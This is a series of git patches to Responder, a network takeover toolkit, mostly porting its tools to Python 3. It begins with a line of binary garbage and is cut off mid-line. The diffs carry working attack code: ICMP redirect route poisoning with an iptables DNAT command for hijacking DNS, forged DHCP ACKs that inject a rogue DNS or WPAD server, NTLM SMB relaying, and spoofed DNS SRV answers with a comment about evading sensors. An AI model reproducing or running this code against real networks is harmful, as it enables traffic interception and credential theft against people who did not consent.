zT-wtlV2XbZf2A;223f61QXJEje9as9gN{*_PQ|}Ti_^pXTm@VOTm@VOTm@VOTm}BM F0^h}So4^17 From 5c56c6e0ca9e6b776c72f85d52706aaf8abfa988 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 25 Mar 2021 21:55:56 -0300 Subject: [PATCH 063/219] Ported to py3 --- tools/Icmp-Redirect.py | 70 +++++++++++++++++++++++++++++++++--------- 1 file changed, 56 insertions(+), 14 deletions(-) diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py index f2e6e85..c0afc5e 100755 --- a/tools/Icmp-Redirect.py +++ b/tools/Icmp-Redirect.py @@ -19,14 +19,16 @@ import struct import optparse import pipes import sys +import codecs from socket import * sys.path.append('../') from odict import OrderedDict from random import randrange from time import sleep from subprocess import call -from packets import Packet +if (sys.version_info < (3, 0)): + sys.exit('This script is meant to be run with Python3') parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0], ) @@ -78,13 +80,53 @@ def Show_Help(ExtraHelpData): MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) +#Python version +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" + +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 == "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') + +def NetworkSendBufferPython2or3(data): + if PY2OR3 == "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if PY2OR3 == "PY2": + return str(data) + else: + return str(data.decode('latin-1')) + def GenCheckSum(data): s = 0 for i in range(0, len(data), 2): q = ord(data[i]) + (ord(data[i+1]) << 8) f = s + q s = (f & 0xffff) + (f >> 16) - return struct.pack("H", len(CalculateLen)) + self.fields["Len"] = StructWithLenPython2or3(">H", len(CalculateLen)) # Then CheckSum this packet CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) @@ -160,7 +202,7 @@ class ICMPRedir(Packet): ]) def calculate(self): - self.fields["GwAddr"] = inet_aton(OURIP) + self.fields["GwAddr"] = inet_aton(OURIP).decode('latin-1') CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) @@ -177,18 +219,18 @@ def ReceiveArpFrame(DstAddr): s.settimeout(5) Protocol = 0x0806 s.bind((Interface, Protocol)) - OurMac = s.getsockname()[4] + OurMac = s.getsockname()[4].decode('latin-1') Eth = EthARP(SrcMac=OurMac) Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) Arp.calculate() final = str(Eth)+str(Arp) try: - s.send(final) + s.send(NetworkSendBufferPython2or3(final)) data = s.recv(1024) DstMac = data[22:28] - DestMac = DstMac.encode('hex') - PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)]) - return PrintMac,DstMac + DestMac = codecs.encode(DstMac, 'hex') + PrintMac = ":".join([DestMac[x:x+2].decode('latin-1') for x in range(0, len(DestMac), 2)]) + return PrintMac,DstMac.decode('latin-1') except: print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)) exit(1) @@ -209,7 +251,7 @@ def IcmpRedirectSock(DestinationIP): IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) IPPack.calculate() final = str(Eth)+str(IPPack) - s.send(final) + s.send(NetworkSendBufferPython2or3(final)) print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)) def FindWhatToDo(ToThisHost2): From 6658c2b98f642be0a4204831990a1126543a620f Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 25 Mar 2021 23:06:48 -0300 Subject: [PATCH 064/219] made compatible py2/py3 --- tools/FindSQLSrv.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tools/FindSQLSrv.py b/tools/FindSQLSrv.py index a5bb231..58dedf9 100755 --- a/tools/FindSQLSrv.py +++ b/tools/FindSQLSrv.py @@ -16,12 +16,12 @@ # along with this program. If not, see . from socket import * -print('MSSQL Server Finder 0.2') +print('MSSQL Server Finder 0.3') s = socket(AF_INET,SOCK_DGRAM) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) -s.settimeout(2) -s.sendto('\x02',('255.255.255.255',1434)) +s.settimeout(5) +s.sendto(b'\x02',('255.255.255.255',1434)) try: while 1: @@ -31,7 +31,7 @@ try: else: print("===============================================================") print(("Host details: %s"%(address[0]))) - print((data[2:])) + print((data[2:]).decode('latin-1')) print("===============================================================") print("") except: From 3b3ee1314ed6cbb9759cc25a02b2bd232c9ef7b1 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 25 Mar 2021 23:34:16 -0300 Subject: [PATCH 065/219] Ported DHCP.py to py3 --- tools/DHCP.py | 113 ++++++++++++++++++++++++++++++++++---------------- 1 file changed, 78 insertions(+), 35 deletions(-) diff --git a/tools/DHCP.py b/tools/DHCP.py index d0c6d38..b36f8d6 100755 --- a/tools/DHCP.py +++ b/tools/DHCP.py @@ -15,15 +15,16 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys +if (sys.version_info < (3, 0)): + sys.exit('This script is meant to be run with Python3') import struct import optparse import configparser import os - +import codecs BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) sys.path.insert(0, BASEDIR) from odict import OrderedDict -from packets import Packet from utils import * parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],) @@ -54,9 +55,48 @@ elif options.DNSIP2 is None: print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.") exit(-1) +#Python version +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" + +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 == "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') + +def NetworkSendBufferPython2or3(data): + if PY2OR3 == "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if PY2OR3 == "PY2": + return str(data) + else: + return str(data.decode('latin-1')) + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) print('#############################################################################') -print('## DHCP INFORM TAKEOVER 0.2 ##') +print('## DHCP INFORM TAKEOVER 0.3 ##') print('## ##') print('## By default, this script will only inject a new DNS/WPAD ##') print('## server to a Windows <= XP/2003 machine. ##') @@ -113,7 +153,7 @@ class UDP(Packet): ]) def calculate(self): - self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8) + self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8) class DHCPACK(Packet): fields = OrderedDict([ @@ -162,14 +202,14 @@ class DHCPACK(Packet): ]) def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) - self.fields["Op1Str"] = socket.inet_aton(NETMASK) - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) - self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) + self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1') + self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') + self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op15Str"] = DNSNAME self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) + self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) class DHCPInformACK(Packet): fields = OrderedDict([ @@ -212,14 +252,14 @@ class DHCPInformACK(Packet): ]) def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) - self.fields["Op1Str"] = socket.inet_aton(NETMASK) - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) - self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) + self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1') + self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') + self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op15Str"] = DNSNAME self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) + self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) def SpoofIP(Spoof): return ROUTERIP if Spoof else Responder_IP @@ -242,8 +282,9 @@ def ParseSrcDSTAddr(data): return SrcIP, SrcPort, DstIP, DstPort def FindIP(data): + data = data.decode('latin-1') IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]) + return ''.join(IP[0:4]).encode('latin-1') def ParseDHCPCode(data): PTid = data[4:8] @@ -251,52 +292,54 @@ def ParseDHCPCode(data): CurrentIP = socket.inet_ntoa(data[12:16]) RequestedIP = socket.inet_ntoa(data[16:20]) MacAddr = data[28:34] - MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() + MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper() OpCode = data[242:243] RequestIP = data[245:249] # DHCP Inform - if OpCode == "\x08": - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) - Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), - GiveClientIP=socket.inet_aton("0.0.0.0"), - NextServerIP=socket.inet_aton("0.0.0.0"), - RelayAgentIP=socket.inet_aton("0.0.0.0"), - ElapsedSec=Seconds) + if OpCode == b"\x08": + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP)) + Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'), + GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + ElapsedSec=Seconds.decode('latin-1')) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) - return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) - elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request + return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) + + elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) - Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1')) + Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) - return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) - elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover + return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) + + elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) - Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) + Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) - return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) def SendDHCP(packet,Host): s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) - s.sendto(packet, Host) + s.sendto(NetworkSendBufferPython2or3(packet), Host) if __name__ == "__main__": s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) @@ -305,7 +348,7 @@ if __name__ == "__main__": while True: try: data = s.recvfrom(65535) - if data[0][23:24] == "\x11": # is udp? + if data[0][23:24] == b"\x11": # is udp? SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) if SrcPort == 67 or DstPort == 67: From 724cfecb5a07625c3ff9269063ab5ca8eafcbbba Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 26 Mar 2021 00:10:14 -0300 Subject: [PATCH 066/219] minor fix --- Responder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Responder.py b/Responder.py index c27d2ea..807b376 100755 --- a/Responder.py +++ b/Responder.py @@ -328,7 +328,7 @@ def main(): thread.setDaemon(True) thread.start() - print(color('[+]', 2, 1) + " Listening for events...") + print(color('\n[+]', 2, 1) + " Listening for events...\n") while True: time.sleep(1) From 6c51080109fd8c9305021336c0dc8c72e01b5541 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 26 Mar 2021 01:43:03 -0300 Subject: [PATCH 067/219] removed FindSMB2UPTime.py since RunFinger already get this info --- tools/FindSMB2UPTime.py | 99 ----------------------------------------- 1 file changed, 99 deletions(-) delete mode 100755 tools/FindSMB2UPTime.py diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py deleted file mode 100755 index d6f6846..0000000 --- a/tools/FindSMB2UPTime.py +++ /dev/null @@ -1,99 +0,0 @@ -#!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools -# created and maintained by Laurent Gaffie. -# email: laurent.gaffie@gmail.com -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import re,sys,socket,struct -import os -import datetime -import multiprocessing -from socket import * - -sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) -from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq - -def GetBootTime(data): - Filetime = int(struct.unpack('i", len(Packet)) + Packet - s.send(Buffer) - - data = s.recv(1024) - if data[4:5] == "\xff": - print("Server", host[0], "doesn't support SMBv2") - if data[4:5] == "\xfe": - IsDCVuln(GetBootTime(data[116:124]), host) - - except KeyboardInterrupt: - s.close() - sys.exit("\rExiting...") - except: - s.close() - pass - -def atod(a): - return struct.unpack("!L",inet_aton(a))[0] - -def dtoa(d): - return inet_ntoa(struct.pack("!L", d)) - -if __name__ == "__main__": - if len(sys.argv)<=1: - sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24') - - m = re.search("/", str(sys.argv[1])) - if m : - net,_,mask = sys.argv[1].partition('/') - mask = int(mask) - net = atod(net) - threads = [] - for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): - p = multiprocessing.Process(target=run, args=((host,445),)) - threads.append(p) - p.start() - else: - run((str(sys.argv[1]),445)) From c33da69a8b96f796b4f08042ddc22f09f367d57d Mon Sep 17 00:00:00 2001 From: HexPandaa <47880094+HexPandaa@users.noreply.github.com> Date: Fri, 2 Apr 2021 17:00:35 +0200 Subject: [PATCH 068/219] Use `==` instead of `is` `==` should be used when comparing values, `is` should be used to compare identities. --- tools/SMBFinger/Finger.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/SMBFinger/Finger.py b/tools/SMBFinger/Finger.py index b779abb..04c139a 100755 --- a/tools/SMBFinger/Finger.py +++ b/tools/SMBFinger/Finger.py @@ -47,20 +47,20 @@ SMB1 = "Enabled" def StructWithLenPython2or3(endian,data): #Python2... - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: return struct.pack(endian, data).decode('latin-1') def NetworkSendBufferPython2or3(data): - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return str(data) else: return bytes(str(data), 'latin-1') def NetworkRecvBufferPython2or3(data): - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return str(data) else: return str(data.decode('latin-1')) From f4c11111a78f5e93961bf5a3598c2460eff6f9cc Mon Sep 17 00:00:00 2001 From: HexPandaa <47880094+HexPandaa@users.noreply.github.com> Date: Fri, 2 Apr 2021 17:03:56 +0200 Subject: [PATCH 069/219] Compare strings with `==` instead of `is` `==` should be used when comparing values, `is` should be used to compare identities. Modern versions of Python throw a SyntaxWarning. --- tools/MultiRelay/RelayMultiCore.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index 31d0dfc..d82856a 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -66,20 +66,20 @@ class Packet(): def StructWithLenPython2or3(endian,data): #Python2... - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: return struct.pack(endian, data).decode('latin-1') def NetworkSendBufferPython2or3(data): - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return str(data) else: return bytes(str(data), 'latin-1') def NetworkRecvBufferPython2or3(data): - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return str(data) else: return str(data.decode('latin-1')) From 3d9147f36c8967a9db63be7732b52c3d9ad0d391 Mon Sep 17 00:00:00 2001 From: HexPandaa <47880094+HexPandaa@users.noreply.github.com> Date: Fri, 2 Apr 2021 17:04:36 +0200 Subject: [PATCH 070/219] Compare strings with `==` instead of `is` `==` should be used when comparing values, `is` should be used to compare identities. Modern versions of Python throw a SyntaxWarning. --- tools/MultiRelay/RelayMultiPackets.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/MultiRelay/RelayMultiPackets.py b/tools/MultiRelay/RelayMultiPackets.py index 2aa164e..095059b 100644 --- a/tools/MultiRelay/RelayMultiPackets.py +++ b/tools/MultiRelay/RelayMultiPackets.py @@ -45,7 +45,7 @@ else: def StructWithLenPython2or3(endian,data): #Python2... - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: From 51f176633e1ade08e1e1976083bdbeff0ca3eebb Mon Sep 17 00:00:00 2001 From: HexPandaa <47880094+HexPandaa@users.noreply.github.com> Date: Fri, 2 Apr 2021 17:10:17 +0200 Subject: [PATCH 071/219] Compare values with `==` instead of `is` `==` should be used when comparing values, `is` should be used to compare identities. Modern versions of Python throw a SyntaxWarning. --- tools/MultiRelay.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index 8a046f2..cabbf17 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -29,7 +29,7 @@ import time import random import subprocess from threading import Thread -if PY2OR3 is "PY3": +if PY2OR3 == "PY3": from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler else: from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler @@ -159,13 +159,13 @@ Logs = logging Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') def NetworkSendBufferPython2or3(data): - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return str(data) else: return bytes(str(data), 'latin-1') def NetworkRecvBufferPython2or3(data): - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return str(data) else: return str(data.decode('latin-1')) @@ -446,12 +446,12 @@ class SMBRelay(BaseRequestHandler): data = self.request.recv(4096) ## Make sure it's not a Kerberos auth. - if data.find(b'NTLM') is not -1: + if data.find(b'NTLM') != -1: ## Start with nego protocol + session setup negotiate to our target. data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) ## Make sure it's not a Kerberos auth. - if data.find(b'NTLM') is not -1: + if data.find(b'NTLM') != -1: ##Relay all that to our client. if data[8:10] == b'\x73\x00': head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) From 7d96fa95c466445fcd7c6f8439b8800f3a2994c1 Mon Sep 17 00:00:00 2001 From: HexPandaa <47880094+HexPandaa@users.noreply.github.com> Date: Fri, 2 Apr 2021 17:13:05 +0200 Subject: [PATCH 072/219] Compare strings with `==` instead of `is` `==` should be used when comparing values, `is` should be used to compare identities. Modern versions of Python throw a SyntaxWarning. --- tools/RunFingerPackets.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/RunFingerPackets.py b/tools/RunFingerPackets.py index a112ef6..651849b 100644 --- a/tools/RunFingerPackets.py +++ b/tools/RunFingerPackets.py @@ -11,7 +11,7 @@ else: def StructWithLenPython2or3(endian,data): #Python2... - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: From e55eeed3d430584c01b626b156bddd60bf9e12bc Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 5 Apr 2021 03:15:39 -0300 Subject: [PATCH 073/219] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index f73df0a..ed1e153 100644 --- a/README.md +++ b/README.md @@ -168,6 +168,10 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu "GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH" +Or BTC address: + +"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q" + ## Acknowledgments ## Late Responder development has been possible because of the donations received from individuals and companies. From d01bbaafaea4b828fb53159cdb7e1f5af4f83ea6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 5 Apr 2021 20:49:54 -0300 Subject: [PATCH 074/219] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index ed1e153..53ba5ad 100644 --- a/README.md +++ b/README.md @@ -184,6 +184,10 @@ We would like to thanks those major donator: - TrustedSec: https://www.trustedsec.com/ +- Red Siege Information Security: https://www.redsiege.com/ + +- Open-Sec: http://www.open-sec.com/ + - And all, ALL the pentesters around the world who donated to this project. Thank you. From 1271b8e17983bd3969d951ce2b4c9b75600f94b9 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 12 Apr 2021 20:42:36 -0300 Subject: [PATCH 075/219] Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping --- Responder.py | 3 +- packets.py | 164 +++++++++++++++++++++++++++++++++++++++++++++++- servers/DNS.py | 30 ++++++--- servers/LDAP.py | 131 +++++++++++++++++++++++++++++++++++--- settings.py | 2 +- 5 files changed, 313 insertions(+), 17 deletions(-) diff --git a/Responder.py b/Responder.py index 807b376..d019fea 100755 --- a/Responder.py +++ b/Responder.py @@ -307,8 +307,9 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,))) if settings.Config.LDAP_On_Off: - from servers.LDAP import LDAP + from servers.LDAP import LDAP, CLDAP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) + threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) if settings.Config.SMTP_On_Off: from servers.SMTP import ESMTP diff --git a/packets.py b/packets.py index 6525497..8826015 100644 --- a/packets.py +++ b/packets.py @@ -18,6 +18,8 @@ import struct import settings import codecs +import random +import re from os import urandom from base64 import b64decode, b64encode from odict import OrderedDict @@ -38,6 +40,10 @@ class Packet(): def __str__(self): return "".join(map(str, self.fields.values())) +def GenerateCallbackName(): + return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)]) + + # NBT Answer Packet class NBT_Ans(Packet): fields = OrderedDict([ @@ -65,7 +71,7 @@ class NBT_Ans(Packet): class DNS_Ans(Packet): fields = OrderedDict([ ("Tid", ""), - ("Flags", "\x80\x10"), + ("Flags", "\x85\x10"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), @@ -88,6 +94,81 @@ class DNS_Ans(Packet): self.fields["IP"] = RespondWithIPAton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) +class DNS_SRV_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x80"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x01"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x21"),#srv + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x21"),#srv + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("RecordLen", ""), + ("Priority", "\x00\x00"), + ("Weight", "\x00\x64"), + ("Port", "\x00\x00"), + ("TargetLenPre", "\x0f"), # static, we provide netbios computer name 15 chars like Windows by default. + ("TargetPrefix", ""), + ("TargetLenSuff", ""), + ("TargetSuffix", ""), + ("TargetLenSuff2", ""), + ("TargetSuffix2", ""), + ("TargetNull", "\x00"), + ("AnswerAPointer", "\xc0"), + ("AnswerAPtrOffset", ""), + ("Type2", "\x00\x01"),#A record. + ("Class2", "\x00\x01"), + ("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + DNSName = ''.join(data[12:].split('\x00')[:1]) + SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld + + #What's the question? we need it first to calc all other len. + self.fields["QuestionName"] = DNSName + + #Want to be detected that easily by xyz sensor? + self.fields["TargetPrefix"] = "win-"+GenerateCallbackName() + + #two last parts of the domain are the actual Domain name.. eg: contoso.com + self.fields["TargetSuffix"] = SplitFQDN[-2] + self.fields["TargetSuffix2"] = SplitFQDN[-1] + #We calculate the len for that domain... + self.fields["TargetLenSuff2"] = StructPython2or3(">B",self.fields["TargetSuffix2"]) + self.fields["TargetLenSuff"] = StructPython2or3(">B",self.fields["TargetSuffix"]) + + # Calculate Record len. + CalcLen = 